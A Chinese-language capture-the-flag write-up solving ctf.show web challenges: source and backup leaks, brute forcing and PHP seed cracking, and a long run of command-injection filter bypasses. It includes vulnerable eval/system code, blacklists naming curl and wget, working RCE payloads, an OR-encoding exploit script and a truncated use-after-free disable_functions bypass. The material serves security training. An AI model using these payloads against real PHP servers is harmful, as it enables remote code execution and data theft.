web入门、web、赛题
WEB入门 信息搜集 web1 ctrl+u,查看源码
web2 js禁用了右键,ctrl+u就行了
web3 已经提示抓包了,bp抓包,拦截请求响应,flag就在flag字段
web4 访问/robots.txt再访问 /flagishere.txt
web5 提示phps源码泄露
访问/index.phps查看得到flag(dirsearch没扫出来)
web6 /www.zip查看里面的文件,再访问/fl000g.txt发现flag
web7 dirsearch扫描发现/.git/,猜测git泄露
1 python2 GitHack.py http://a966c26d-3 ead-49 bb-b518-3 b5e4485f3c4.challenge.ctf.show/.git
发现是空仓库,直接访问/.git就能看到flag了
web8 svn泄露,访问/.svn
web9 访问/index.php.swp
web10 抓包cookie,url解码
web11 提示:域名其实也可以隐藏信息,比如flag.ctfshow.com 就隐藏了一条信息
没接触过的知识点,通过https://www.wetools.com/dns/bdeccb25bc9237a4ce71db80a2655594,查询flag.ctfshow.com域名下的txt记录
web12 访问robots.txt
再访问/admin/
用户名:admin 密码: 372619038(就是那个Help Line Number)
web13 查看
登录就行了
web14 访问/editor,找到一个图标(插入文件),点击文件空间就可以看到全部的目录结构,发现/var/www/html/nothinghere/fl000g.txt
于是访问/nothinghere/fl000g.txt
得到flag
web15 提示了邮箱,访问/admin进入后台,发现有找回密码功能,密保问题是所在地城市
根据qq邮箱查找qq,了解到在西安,输入后将密码重置为admin7789
然后登录得到flag
web16 探针:php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器时间等信息。
雅黑php探针可以通过tz.php访问
web17 提示:备份的sql文件会泄露敏感信息
尝试访问/backup.sql
保存下来,打开
web18 f12查看js
解码得到
访问/110.php得到flag
web19 直接把源码给出来了
1 2 3 4 5 6 7 8 9 error_reporting (0 ); $flag ="fakeflag" $u = $_POST ['username' ]; $p = $_POST ['pazzword' ]; if (isset ($u ) && isset ($p )){ if ($u ==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04' ){ echo $flag ; } }
那就直接post传对应的参就好了
web20 mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。
访问/db/db.mdb 下载文件,txt打开发现flag
爆破 web21 常规的登陆框爆破,详细见https://www.cnblogs.com/007NBqaq/p/13220297.html
Payload set —->custom iterator(自定义迭代器)——>position 3——>输入字典 自定义迭代器可以自定义拼接方式,position的位置即为我们的拼接方式,根据上述base64解码的密码的格式:用户名:密码 —–>则position的位数为3
posution1–>用户名
posution2–> :
posution3–>密码
web22 子域名爆破
fofa查就行了,不过域名更新后,flag.ctf.show域名失效,所以直接提交flag{ctf_show_web}就行了
web23 条件爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );include ('flag.php' );if (isset ($_GET ['token' ])){ $token = md5 ($_GET ['token' ]); if (substr ($token , 1 ,1 )===substr ($token , 14 ,1 ) && substr ($token , 14 ,1 ) ===substr ($token , 17 ,1 )){ if ((intval (substr ($token , 1 ,1 ))+intval (substr ($token , 14 ,1 ))+substr ($token , 17 ,1 ))/substr ($token , 1 ,1 )===intval (substr ($token , 31 ,1 ))){ echo $flag ; } } }else { highlight_file (__FILE__ ); }?>
直接用脚本爆破出token的值为422
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php for ($a =0 ; $a <10000 ; $a ++){ $token = md5 ($a ); if (substr ($token , 1 ,1 )===substr ($token , 14 ,1 ) && substr ($token , 14 ,1 ) ===substr ($token , 17 ,1 )){ if ((intval (substr ($token , 1 ,1 ))+intval (substr ($token , 14 ,1 ))+substr ($token , 17 ,1 ))/substr ($token , 1 ,1 )===intval (substr ($token , 31 ,1 ))){ echo $a ; } } }?>
web24 伪随机数 种子爆破(已知种子)
mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机 数。 提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数,当不使用随机数播种函数srand时,php也会自动为随机数播种,因此是否确定种子都不会影响正常运行。但是如果设置了 seed参数 生成的随机数就是伪随机数,意思就是每次生成的随机数 是一样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );include ("flag.php" );if (isset ($_GET ['r' ])){ $r = $_GET ['r' ]; mt_srand (372619038 ); if (intval ($r )===intval (mt_rand ())){ echo $flag ; } }else { highlight_file (__FILE__ ); echo system ('cat /proc/version' ); }?>
只需满足if(intval($r)===intval(mt_rand()),seed种子也知道是372619038,于是运行
1 2 3 4 <?php mt_srand (372619038 );echo (mt_rand ());?>
得到1155388967,在get传参就可以了
web25 伪随机数爆破(需要求seed种子)
需要先配置好工具php_mt_seed
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );include ("flag.php" );if (isset ($_GET ['r' ])){ $r = $_GET ['r' ]; mt_srand (hexdec (substr (md5 ($flag ), 0 ,8 ))); $rand = intval ($r )-intval (mt_rand ()); if ((!$rand )){ if ($_COOKIE ['token' ]==(mt_rand ()+mt_rand ())){ echo $flag ; } }else { echo $rand ; } }else { highlight_file (__FILE__ ); echo system ('cat /proc/version' ); }
得先满足if((!$rand)),也就是让$rand=0,再满足 if($_COOKIE[‘token’]==(mt_rand()+mt_rand()))
这里的mt_rand()分别是第二次和第三次的随机数
因为$rand = intval($r)-intval(mt_rand());,所以只需要先传个r=0就可以输出$rand,且此时的$rand为-mt_rand()
这样就可以根据第一次的mt_rand()爆破出seed,然后再求出mt_rand()+mt_rand(),就可以满足条件输出flag了
1 http ://564 ae3a4-ed52-4523 -bada-897 ed7fc7eae.challenge.ctf.show?r=0
得到-236666633,也就是第一次的随机数是236666633,之后用工具爆破
1 time ./php_mt_seed 236666633
因为我们的php是8.1.12,所以这个seed应该是0x9ef3c118
web26 数据库连接信息爆破
抓包,对数据库密码进行爆破就行了
web27 信息收集、爆破
可以下载下来一个录取名单表格,里面有名字和身份信息(隐藏了出生日期)
还有一个学籍信息查询系统,可以根据名字和身份证查询相关信息
因此只需要爆破初始日期
1 \u606d \u559c \u60a8 \uff0c \u60a8 \u5df2 \u88ab \u6211 \u6821 \u5f55 \u53d6 \uff0c \u4f60 \u7684 \u5b66 \u53f7 \u4e3a 02015237 \u521d \u59cb \u5bc6 \u7801 \u4e3a \u8eab \u4efd \u8bc1 \u53f7 \u7801
解码:
1 恭喜您,您已被我校录取,你的学号为02015237 初始密码为身份证号码
登录得到flag
web28 目录爆破
抓包对目录路径进行爆破,就可以了(记得爆破模式改为cluster bomb)
命令执行 web29 匹配了flag和过滤了cat
1 http ://7 d44366f-914 c-458 f-834 e-acb668f50442.challenge.ctf.show?c=system("tac f***.php" );
web30 1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
用不了system,改用passthru,再模糊匹配
1 http ://f1103ca6-f6f4-4 cbd-bdb2-62704 a050183.challenge.ctf.show?c=passthru("tac f***.***" );
web31 1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
用%09代替空格
1 http ://ccac779a-4 ef6-453 a-aab3-bcbfef086227.challenge.ctf.show?c=passthru("tac%09f*" );
web32 1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
连分号都过滤了
这个可以用include 和php协议来做
分号可以用?>代替,空格可以用%09代替
1 ?c=include$_GET [a]?>&a=php:// filter/convert.base64-encode/ resource=flag.php
可以将flag.php文件的内容转变成base64,然后将转换过的flag.php文件赋给a,再将a中的内容显示出来,最后将文件内容进行base64解码。
也可以采用include和php://input
1 ?c =include %09$_GET [1 ]?> &1 =php: //input
然后post传?php system(“cat flag.php”);
web33 1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
多匹配了双引号,影响不大,直接用上题的方法就可以了
web34 1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
多匹配了:
还是一样的方法就可以了
1 ?c=include$_GET [a]?>&a=php:// filter/convert.base64-encode/ resource=flag.php
web35 1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
还是一样
1 ?c=include$_GET [a]?>&a=php:// filter/convert.base64-encode/ resource=flag.php
web36 1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
一样
web37 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ include ($c ); echo $flag ; } }else { highlight_file (__FILE__ ); }
直接给出了include($c);,过滤了flag
可以用data伪协议 data://协议 通常可以用来执行PHP代码
1 data://text/plain, <?php system ('tac f*' );?>
web38 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|php|file/i" , $c )){ include ($c ); echo $flag ; } }else { highlight_file (__FILE__ ); }
多过滤了php和file,使用短标签 = 代替php
1 2 <?php system ('tac f*' );?> 和 <?= system ('tac f*' );?> 效果一样 data://text/plain, <?= system ('tac f*' );?>
web39 1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ include ($c .".php" ); } }else { highlight_file (__FILE__ ); }
include($c.”.php”);
用//注释掉就好了(后面发现并不是//的作用,是因为强加的后缀无影响,也就是?c=data://text/plain,<?=phpinfo();?>
这样传还是能正常执行,这也是为什么后面的web42//不起作用)
1 c=data://text/plain, <?php system ('tac f*' );?> );//
web40 1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
匹配掉一堆字符
法一
1 c=eval (array_pop(next (get_defined_vars())));// 需要POST传入参数为1 =system ('tac fl*' );
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
next()将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。
法二
1 c =show_source (next (array_reverse (scandir (pos (localeconv ()))))); 或者 c =show_source (next (array_reverse (scandir (getcwd ()))));
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为”.”
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为”.”所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。
每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。
提示:该函数不会移动数组内部指针。
相关的方法:
current()返回数组中的当前元素的值。
end()将内部指针指向数组中的最后一个元素,并输出。
next()将内部指针指向数组中的下一个元素,并输出。
prev()将内部指针指向数组中的上一个元素,并输出。
reset()将内部指针指向数组中的第一个元素,并输出。
each()返回当前元素的键名和键值,并将内部指针向前移动。
也可以:
1 ?c=echo highlight_file(next (array_reverse (scandir (pos (localeconv () )))));
web41 1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ];if (!preg_match ('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' , $c )){ eval ("echo($c );" ); } }else { highlight_file (__FILE__ ); }?>
过滤麻了,但留了个或运算符|
直接用作者提供的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php $myfile = fopen ("rce_or.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )|urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } }fwrite ($myfile ,$contents );fclose ($myfile );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requestsimport urllibfrom sys import *import os os.system("php rce_or.php" ) if (len (argv)!=2 ): print ("=" *50 ) print ('USER:python exp.py <url>' ) print ("eg: python exp.py http://ctf.show/" ) print ("=" *50 ) exit(0 ) url=argv[1 ]def action (arg ): s1="" s2="" for i in arg: f=open ("rce_or.txt" ,"r" ) while True : t=f.readline() if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"|\"" +s2+"\")" return (output) while True : param=action(input ("\n[+] your function:" ) )+action(input ("[+] your command:" )) data={ 'c' :urllib.parse.unquote(param) } r=requests.post(url,data=data) print ("\n[*] result:\n" +r.text)
web42 1 2 3 4 5 6 7 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; system ($c ." >/dev/null 2>&1" ); }else { highlight_file (__FILE__ ); }
几乎没什么过滤,关键是>/dev/null 2>&1
1 2 3 4 2 >/dev/ null 意思就是把错误输出到“黑洞” >/dev/ null 2 >&1 默认情况是1 ,也就是等同于1 >/dev/ null 2 >&1 。意思就是把标准输出重定向到“黑洞”,还把错误输出2 重定向到标准输出1 ,也就是标准输出和错误输出都进了“黑洞”
web43 1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
ban掉了;
但可以用&&代替(记得url编码)用%0a
||
都可以
web44 1 2 3 4 5 6 7 8 9 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/;|cat|flag/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
web45 1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| /i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
多过滤了空格
web46 1 if (!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i" , $c ) ){
1 2 ?c = tac%09 fla?.php%0 a ?c = tac%09 fla%27 %27 g.php%0 a
web47 1 if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i" , $c ))
没什么影响
1 2 ?c = tac%09 fla?.php%0 a ?c = tac%09 fla%27 %27 g.php%0 a
web48 1 if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i" , $c ))
还是一样
web49 1 if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i" , $c ))
web50 1 if (!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i" , $c ) )
过滤了09,&换一个
web51 1 if (!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i" , $c ) )
不能用tac了,换一个,比如nl
web52 1 if (!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c ) )
还特意没ban $
再换一个过滤空格的办法
这次flag在根目录的flag文件里
web53 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c )){ echo ($c ); $d = system ($c ); echo "<br>" .$d ; }else { echo 'no' ; } }else { highlight_file (__FILE__ ); }
1 2 ?c=nl ${IFS} fla'' g.php ?c=nl $IFS \fla'' g.php
web54 1 2 3 4 5 6 7 8 9 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
1 ?c =/bin/ ?a t${ IFS }f??? ?? ??
或者使用没被ban的mv命令
1 ?c=mv ${IFS} fla?.php${IFS} a.txt
再访问a.txt
web55 1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
拿出狗学长的八进制大法
1 ?c=$ '\164\141\143' $ '\146\154\141\147\56\160\150\160'
在网页传的时候建议编码一下,因为$在php中有特殊含义,可能会产生干扰
也可以
1 2 3 ?c =/bin/base 64 flag.php 替换后变成?c =/???/ ?? ?? 64 ?? ?? .?? ?
还有一种相对麻烦的方法https://blog.csdn.net/qq_46091464/article/details/108513145
web56 1 if (! preg_match ("/\;|[a-z]|[0-9]|\\ $|\(|\{|\'|\" |\`|\% |\x09 |\x26 |\>|\</i" , $c ))
这次连数字也过滤了,转8进制行不通了
但还是没过滤.
,可以用上面的方法https://blog.csdn.net/qq_46091464/article/details/108513145
操作跟红包题第二弹差不多,只不过这里?c=.%20/???/????????[@-[]的最后因为用[@-[]来匹配大写
1 2 3 4 <form action ="http://afb6873e-f0d6-4850-ab3e-148589259901.challenge.ctf.show/" method ="POST" enctype ="multipart/form-data" > <input type ="file" name ="file" /> <input type ="submit" value ="submit" />
多试几次,当末尾为大写时就可以了
web57 1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i" , $c )){ system ("cat " .$c .".php" ); } }else { highlight_file (__FILE__ ); }
只需要我们能传入36就行了,$(( ))是用于进行算术运算的一种方式,而$( )是用于执行命令并返回其输出的方式, ~ 表示按位取反操作(即将所有位的0变成1,将所有位的1变成0)
$(())可以用来表示数字
1 2 3 4 5 ${ _}="" $( (${ _}))=0 $( ("" ))=0 $( (~$( (${ _}))))=-1 然后拼接出-36 在进行取反
1 $( (~$( ($( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))$( (~$( (${ _}))))))))
web58~65 从这里就到了禁用函数的部分了,灵活使用就行了,因为这几个比较简单就放一起省的一个一个说
抄一下大佬的总结
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 查看当前目录整体地址: c=print_r(scandir ('./ ') ); c=var_dump(scandir ('./ ') ); c=print_r(scandir (dirname ('__FILE__ ') )); c=print_r(scandir (current (localeconv () ))); c=$a=opendir("./" ); while (($file = readdir($a)) !== false ){echo $file . "<br>" ; }; 查看根目录: c=print_r(scandir ("/" ) ); c=var_dump(scandir ('/ ') ); c=var_export(scandir ('/ ') ); c=$a=new DirectoryIterator('glob :/ / / * ') ;foreach($a as $f){echo($f->__toString() ." " );} 通过单一函数读取文件: c=show_source('flag .php ') ; c=echo file_get_contents("flag.php" ) ; c=readfile("flag.php" ); c=var_dump(file ('flag .php ') ); c=print_r(file ('flag .php ') ); 通过fopen读取文件内容: fread() fgets() fgetc() fgetss() fgetcsv() fpassthru()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 feof ():用于检测是否已到达文件末尾,到达返回1 fgets():一行一行的读取 fgetc():一个一个的读取 fgetss():从打开的文件中返回一行,并过滤掉 HTML 和 PHP 标签 fgetcsv():函数从打开的文件中解析一行,校验 CSV 字段(逗号分隔值) var_dump():显示关于一个或多个表达式的结构信息,数组将递归展开值,通过缩进显示其结构fread ():读取打开的文件,有两个参数,前者为要读取的文件,后者为读取最大字节 fpassthru():从打开文件的当前位置开始读取所有数据,直到文件末尾(EOF),并向输出缓冲写结果 localeconv():返回一个包含本地数字及货币格式信息的数组 current():输出数组中的当前元素的值 scandir():列出目录中的文件和目录 array_reverse():返回翻转顺序的数组 高亮显示php文件 c=show_source("flag.php" ); c=highlight_file("flag.php" ); c=highlight_file(next(array_reverse(scandir(current(localeconv()))))); 一些好用的payload c=$a=fopen ("flag.php" ,"r" );while (!feof ($a)) {$line = fgets($a);echo $line;} c=$a=fopen ("flag.php" ,"r" );while (!feof ($a)) {$line = fgetc($a);echo $line;} c=$a=fopen ("flag.php" ,"r" );while (!feof ($a)) {$line = fgetcsv($a);var_dump($line);} c=file_get_contents("flag.php" ); c=var_dump(file ("flag.php" )); c=$a=fopen ("flag.php" ,"r" );echo fpassthru($a); c=$a=fopen ("flag.php" ,"r" );echo fread ($a,"1000" ); $a=fopen ("flag.php" ,"r" );while (!feof ($a)) {$line = fgetss($a);echo $line;} 同时也可以通过复制、重命名来读取php文件内容。在执行完后只需要访问改文件就可以了 copy() rename () c=copy("flag.php" ,"1.txt" ); c=rename ("flag.php" ,"1.txt" );
代码几乎都是这样没变,就是禁用的函数会变
1 2 3 4 5 6 7 8 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
web66 这次flag藏在了根目录
1 2 c =print_r(scandir("/" ))c =highlight_file('/flag.txt' )
web67 1 c =highlight_file('/flag.txt' )
web68~70 1 2 3 4 c =$a =opendir("/" )c =include('/flag.txt' )c =require('/flag.txt' )c =require_once('/flag.txt' )
web71 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );ini_set ('display_errors' , 0 );if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); $s = ob_get_contents (); ob_end_clean (); echo preg_replace ("/[0-9]|[a-z]/i" ,"?" ,$s ); }else { highlight_file (__FILE__ ); }?> 你要上天吗?
源码劫持了输出缓冲并且将数字和字母替换成了?
。
可以提前终止程序,即执行完代码直接退出,可以调用的函数有:exit();、die();
1 c=include('/flag.txt' );exit ();
web72 一样的源码,基本都被过滤了,执行了open_basedir限制和disable_functions限制
disable_functions是规定了禁用的函数
open_basedir是php.ini的一个配置选项,用来规定用户可以访问的区域,也就是目录。
glob可以遍历目录,并且不受disable_functions的限制。
1 c=?> <?php $a =new DirectoryIterator ("glob:///*" );foreach ($a as $f ){echo ($f ->__toString ().' ' );}exit (0 );?>
发现flag0.txt
但是用常规的方法无法访问flag0.txt
可以用uaf绕过,统一的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 function ctfshow ($cmd ) { global $abc , $helper , $backtrace ; class Vuln { public $a ; public function __destruct ( ) { global $backtrace ; unset ($this ->a); $backtrace = (new Exception )->getTrace (); if (!isset ($backtrace [1 ]['args' ])) { $backtrace = debug_backtrace (); } } } class Helper { public $a , $b , $c , $d ; } function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= sprintf ("%c" ,($ptr & 0xff )); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = sprintf ("%c" ,($v & 0xff )); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 